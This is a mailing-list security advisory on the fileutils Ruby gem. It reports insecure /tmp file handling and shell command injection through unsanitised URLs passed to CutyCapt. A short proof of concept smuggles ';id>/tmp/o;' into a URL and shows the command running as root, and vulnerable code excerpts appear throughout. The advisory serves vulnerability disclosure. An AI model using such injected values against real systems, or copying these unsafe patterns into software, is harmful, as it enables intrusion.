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Fileutils ruby gem possible remote command execution and insecure file handling in /tmp
From: larry0 () me com
Date: Thu, 28 Feb 2013 18:11:01 GMT

Fileutils ruby gem possible remote command execution and insecure file handling in /tmp

Hi list, I was looking at some gem files and noticed a few issues with fileutils-0.7


"A set of utility classes to extract meta data from different file types".

Handles files insecurely in /tmp, a directory is created for that file extension say 'zip' and files are 
created/modified there. This directory can be hijacked and the contents manipulated by a malicious user.

in ./lib/file_utils.rb

 15     def zip (target, *sources)
 16         targetdir = "{FileUtils::Config.tmp_dir}/zip"
 17         id = 1
 18         while File.exists?(targetdir)
 19             targetdir = "{FileUtils::Config.tmp_dir}/zip#{id}"
 20             id += 1
 21         end
 22         FileUtils.mkdir(targetdir)

where Config.tmp_dir = /tmp

in ./lib/file_utils/config.rb

  5         def self.tmp_dir
  6             @tmp_dir ||= '/tmp'
  7         end

Remote command execution:

From file_utils.rb, doesn't sanitize input on URLs passed to CutyCapt for execution. If a URL contains shell 
characters say a ';' followed by a command a remote attacker execute a command on the clients system if they are 
enticed to click an encoded url like:

    need to test URL encoding not sure if this is valid.

http://bla.net.org;id>/tmp/o; -> http://tinyurl.com/a5scxzz

  7     def capture (url, target)
  8         command = FileUtils::Config::Xvfb.command(File.dirname(__FILE__) + "/../bin/CutyCapt --min-width=1024 
--min-height=768 --url={url} --out={target}")
  9         `#{command}`
 10     end

partial PoC if client is tricked into using malicious URL:

irb(main):001:0> `xvfb-run --server-args="-screen 0,1024x768x24" ./CutyCapt --url=http://www.example.org;id>/tmp/foo; 
--out=/tmp/tempf` xvfb-run: error: Xvfb failed to start
sh: 1: --out=/tmp/tempf: not found
=> ""

root () ubuntu:~/CutyCapt/cutycapt/CutyCapt ls -l /tmp/foo
-rw-r--r-- 1 root root 39 Feb 27 02:56 /tmp/foo
root () ubuntu:~/CutyCapt/cutycapt/CutyCapt cat /tmp/foo
uid=0(root) gid=0(root) groups=0(root)
root () ubuntu:~/CutyCapt/cutycapt/CutyCapt#

Michael Scherer of Redhat.com found other issues during a discussion about the above issues I found:

In fact, there is the same similar problem in another file :
result = `#{FileUtils::Config::OpenOffice.python} #{command} #{source} #{target} #{FileUtils::Config::OpenOffice.port}`

I quickly checked using irb ( a quick command line to type ruby snippet, and yes, using funky chars result in funky 

There is another issue in
# Generates a temp filepath for the given extension def temp (extension)

path = "{FileUtils::Config.tmp_dir}/tmp.{extension}" id = 1
while File.exists?(path)

        path = "{FileUtils::Config.tmp_dir}/tmp.{id}.#{extension}"
        id += 1


Since someone could just create the file at the last moment, and make a link so the script would overwrite an arbitrary 

Thanks to vl4dz and Michael.

Larry W. Cashdollar @_larry0

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